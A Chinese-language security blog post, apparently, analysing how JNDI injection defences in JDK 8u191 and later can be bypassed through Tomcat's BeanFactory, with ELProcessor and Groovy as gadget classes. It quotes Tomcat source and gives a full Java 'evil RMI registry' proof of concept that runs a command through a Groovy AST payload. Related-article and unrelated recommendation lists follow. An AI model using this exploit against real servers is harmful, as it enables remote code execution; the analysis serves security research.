之前在Veracode的这篇博客中https://www.veracode.com/blog/research/exploiting-jndi-injections-java看到对于JDK 1.8.0_191以上版本JNDI注入的绕过利用思路,简单分析了下绕过的具体实现,btw也记录下自己的一些想法,本文主要讨论基于Reference对象的利用。

The Past

JDK版本:1.8.0_20

产生JNDI注入的原因简单来说是lookup方法参数可控,我们首先在Registry中绑定特殊构造的Reference对象,如下图所示,其中factoryLocation是我们远程类的地址。

然后将我们Registry的地址传入lookup方法中,下图是低版本JDK中JNDI注入payload的触发过程,lookup方法中调用了decodeObject方法,又进入到NamingManager.getObjectInstance方法

在getObjectInstance方法中319行,首先调用了getObjectFactoryFromReference方法,然后又调用了factory对象的getObjectInstance方法

在getObjectFactoryFromReference方法中动态加载了我们的远程类并将其实例化,而远程类是我们完全可控的,实例化的过程中会进行类的初始化并调用其构造方法,这就导致静态代码块或构造方法中的代码得以执行。

The Present

JDK版本:1.8.0_191

高版本JDK对JNDI注入类威胁的防护主要体现在限制了远程类的加载,在decodeObject方法中,调用NamingManager.getObectInstance方法前加入了对factoryLocation和trustURLCodebase的判断,trustURLCodebase默认为false,如图所示,

多个判断语句是与的逻辑关系,则可构造factoryLocation == null,使程序进入NamingManager.getObjectInstance方法,然后进入到getObjectFactoryFromReference方法中进行类的加载和实例化,如下图所示这块儿的逻辑是这样的,首先通过本地的类加载器去classpath中加载目标类,若classpath中无目标类的定义,则调用loadClass(factoryName, codebase)远程加载我们构造的特定类,类加载完成后通过反射将其实例化,然后在调用该对象的getObjectInstance方法。

但是若构造factoryLocation为空绕过trustURLCodebase的限制,则无法通过loadClass(factoryName, codebase)远程加载我们构造的特定类。

这时整体的绕过思路变成了加载一个目标机器classpath中存在的类,然后将其实例化,调用其getObjectInstance方法时实现代码执行。

public Object getObjectInstance(Object obj, Name name, Context nameCtx,
Hashtable<?,?> environment)
throws Exception;
}

这个类首先要实现ObjectFactory接口,并且其getObjectInstance方法实现中有可以被用来构造exp的逻辑。

Veracode的博客中使用了org.apache.naming.factory.BeanFactory类,Tomcat容器本身是被广泛使用的,所以可利用性还是很强的。其RMIServer实现如下:

下面具体分析下BeanFactory类getObjectInstance方法实现,其参数中obj、name可控。

首先在前半部分代码从obj中取出我们构造的Reference对象,加载了我们指定的类并通过newInstance()调用指定类的无参构造方法将其实例化,

Reference ref = (Reference) obj;
String beanClassName = ref.getClassName();
Class<?> beanClass = null;
ClassLoader tcl =
Thread.currentThread().getContextClassLoader();
if (tcl != null) {
try {
beanClass = tcl.loadClass(beanClassName);
} catch(ClassNotFoundException e) {
}
} else {
try {
beanClass = Class.forName(beanClassName);
} catch(ClassNotFoundException e) {
e.printStackTrace();
}
}
·····
Object bean = beanClass.newInstance();

然后取出key为“forceString”的RefAddr对象中的content,对其进一步解析,content是字符串,其中可以指定多个方法用逗号分隔,如”x=eval,y=run“,解析时会将eval方法和run方法放入HashMap对象中

RefAddr ra = ref.get("forceString");
Map<String, Method> forced = new HashMap<String, Method>();
String value; if (ra != null) {
value = (String)ra.getContent();
Class<?> paramTypes[] = new Class[1];
paramTypes[0] = String.class;
String setterName;
int index; /* Items are given as comma separated list */
for (String param: value.split(",")) {
param = param.trim();
/* A single item can either be of the form name=method
* or just a property name (and we will use a standard
* setter) */
index = param.indexOf('=');
if (index >= 0) {
setterName = param.substring(index + 1).trim();
param = param.substring(0, index).trim();
} else {
setterName = "set" +
param.substring(0, 1).toUpperCase(Locale.ENGLISH) +
param.substring(1);
}
try {
forced.put(param,
beanClass.getMethod(setterName, paramTypes));

接下来会通过反射执行我们指定的之前构造的方法,并可以传入一个字符串类型的参数

Enumeration<RefAddr> e = ref.getAll();

while (e.hasMoreElements()) {

    ra = e.nextElement();
String propName = ra.getType(); if (propName.equals(Constants.FACTORY) ||
propName.equals("scope") || propName.equals("auth") ||
propName.equals("forceString") ||
propName.equals("singleton")) {
continue;
} value = (String)ra.getContent(); Object[] valueArray = new Object[1]; /* Shortcut for properties with explicitly configured setter */
Method method = forced.get(propName);
if (method != null) {
valueArray[0] = value;
try {
method.invoke(bean, valueArray);
}

总结一下实现代码执行的几个条件,首先要注入一个含有无参构造方法的beanClass,当然这个beanClass要classpath中存在的,其次beanClass中要有直接或间接执行代码的方法,并且方法只能传入一个字符串参数。

Veracode的博客中构造的beanClass是javax.el.ELProcessor,ELProcessor中有个eval(String)方法可以执行EL表达式,正好符合上述条件,当然也是有限制的,javax.el.ELProcessor本身是Tomcat8中存在的库,所以仅限Tomcat8及更高版本环境下可以通过javax.el.ELProcessor进行攻击,对于使用广泛的SpringBoot应用来说,可被利用的Spring Boot Web Starter版本应在1.2.x及以上,因为1.1.x及1.0.x内置的是Tomcat7。

The Future

除了javax.el.ELProcessor,当然也还有很多其他的类符合条件可以作为beanClass注入到BeanFactory中实现利用。举个例子,如果目标机器classpath中有groovy的库,则可以结合之前Orange师傅发过的Jenkins的漏洞实现利用https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html,直接给出RMIRegistry的代码:

public static void main(String[] args) throws Exception {
System.out.println("Creating evil RMI registry on port 1097");
Registry registry = LocateRegistry.createRegistry(1097);
ResourceRef ref = new ResourceRef("groovy.lang.GroovyClassLoader", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=parseClass"));
String script = "@groovy.transform.ASTTest(value={\n" +
" assert java.lang.Runtime.getRuntime().exec(\"calc\")\n" +
"})\n" +
"def x\n";
ref.add(new StringRefAddr("x",script)); ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
registry.bind("Object", referenceWrapper);
}

如果能有一个JDK中的类符合条件,可攻击面就更大了,可惜我在尝试构造exp的过程中并没有找到相关可利用的类,但是与第三方库的组合利用方法还是很多的,上面只是举了其中一个例子,感兴趣的朋友可以一起探讨,上述代码地址:https://github.com/welk1n/JNDI-Injection-Bypass。

浅析JNDI注入Bypass的更多相关文章

  1. JNDI注入和JNDI注入Bypass

    之前分析了fastjson,jackson,都依赖于JDNI注入,即LDAP/RMI等伪协议 JNDI RMI基础和fastjson低版本的分析:https://www.cnblogs.com/pia ...

  2. JNDI注入与反序列化学习总结

    0x01.java RMI RMI(Remote Method Invocation)是专为Java环境设计的远程方法调用机制,远程服务器实现具体的Java方法并提供接口,客户端本地仅需根据接口类的定 ...

  3. Java安全之JNDI注入

    Java安全之JNDI注入 文章首发:Java安全之JNDI注入 0x00 前言 续上篇文内容,接着来学习JNDI注入相关知识.JNDI注入是Fastjson反序列化漏洞中的攻击手法之一. 0x01 ...

  4. Weblogic漏洞分析之JNDI注入-CVE-2020-14645

    Weblogic漏洞分析之JNDI注入-CVE-2020-14645 Oracle七月发布的安全更新中,包含了一个Weblogic的反序列化RCE漏洞,编号CVE-2020-14645,CVS评分9. ...

  5. JNDI注入基础

    JNDI注入基础 一.简介 JNDI(The Java Naming and Directory Interface,Java命名和目录接口)是一组在Java应用中访问命名和目录服务的API,命名服务 ...

  6. Java之JNDI注入

    Java之JNDI注入 About JNDI 0x01 简介 JNDI(Java Naming and Directory Interface)是SUN公司提供的一种标准的Java命名系统接口,JND ...

  7. Java反序列化中jndi注入的高版本jdk绕过

    群里大佬们打哈哈的内容,菜鸡拿出来整理学习一下,炒点冷饭. 主要包含以下三个部分: jndi注入原理 jndi注入与反序列化 jndi注入与jdk版本 jndi注入原理: JNDI(Java Name ...

  8. 浅析 Jndi / DataSource / ConnectionPool 三者

    最近有个用户量 5W-10W 的 web 应用,频繁导致 weblogic 崩溃,让运维组很难受. 通过几天跟踪系统日志和 weblogic 运行状况,发现报错的姿势有很多,其中对定位问题比较关键的报 ...

  9. 最新安全狗 apache v4.0 sql注入 bypass

    前言 最近没事学习一下 waf 的 bypass , 本文介绍下 bypass 安全狗的笔记.个人感觉 bypass 的总思路(正则匹配型 waf)就是利用各种语法特性来逃避正则(当然要保证语法正确性 ...

随机推荐

  1. NetScaler内网外网ip映射的配置

  2. golang数据结构之队列

    队列可以用数组或链表实现,遵从先入先出. 目录结构: 在main中调用queue包中的属性和方法,如何调用参考另一篇文章: https://www.cnblogs.com/xiximayou/p/12 ...

  3. 外键(foreign key)的使用及其优缺点

    如果公共关键字在一个关系中是主关键字,那么这个公共关键字被称为另一个关系的外键.由此可见,外键表示了两个关系之间的相关联系.以另一个关系的外键作主关键字的表被称为主表,具有此外键的表被称为主表的从表. ...

  4. 这货到底还是不是垃圾?【垃圾回收GC算法JVM篇四】

    目录 1.判断对象是否存活的JVM两种计数算法 2.垃圾收集算法 3.垃圾回收算法小结 垃圾收集 Garbage Collection 通常被称为"GC", 在jvm 中,程序计数 ...

  5. base64转图片、图片转base64、图片拼接、加水印(水印角度可设置)

    /** * @Description: 将base64编码字符串转换为图片 * @param imgStr * base64编码字符串 * @param path * 图片路径-具体到文件 * @re ...

  6. 开通博客第一天,记录此时此刻,开始学习加强c#

    从2017年6月毕业到现在,不断的学习.net,在工作中不断的加强技术,终于在此时此刻决定开通博客,记录此后每一天学习的技术点,两年来,每天所涉及的技术点很杂,学了这个忘了那个,总感觉在进步却总是觉得 ...

  7. 分布式算法-一致性HASH

    分布式算法 参考: https://blog.51cto.com/alanwu/1431397 https://blog.csdn.net/kojhliang/article/details/8120 ...

  8. 工具类中注入service和dao

    今天编写了个工具类需要用到service成和dao层的代码 如下: //第一步:需要将工具类注入到容器中 @Component public class RuleUtils { ​ //第二部注入 @ ...

  9. Python3 面向对象进阶1

    目录 组合 概念 目的 实现方式 封装 概念 目的 实现方式 访问限制 概念 目的 实现方式 property 概念 目的 实现方式 多态 概念 目的 抽象类 概念 目的 实现方法 鸭子类型 组合 概 ...

  10. Centos7调整root分区大小

    由于centos安装完毕后一般给root只有50G左右,而home牛大, 所以多数时候需要把home弄小,root给扩展大一点 折腾一下 首先切好用户到root用户登陆,我用的systemctl se ...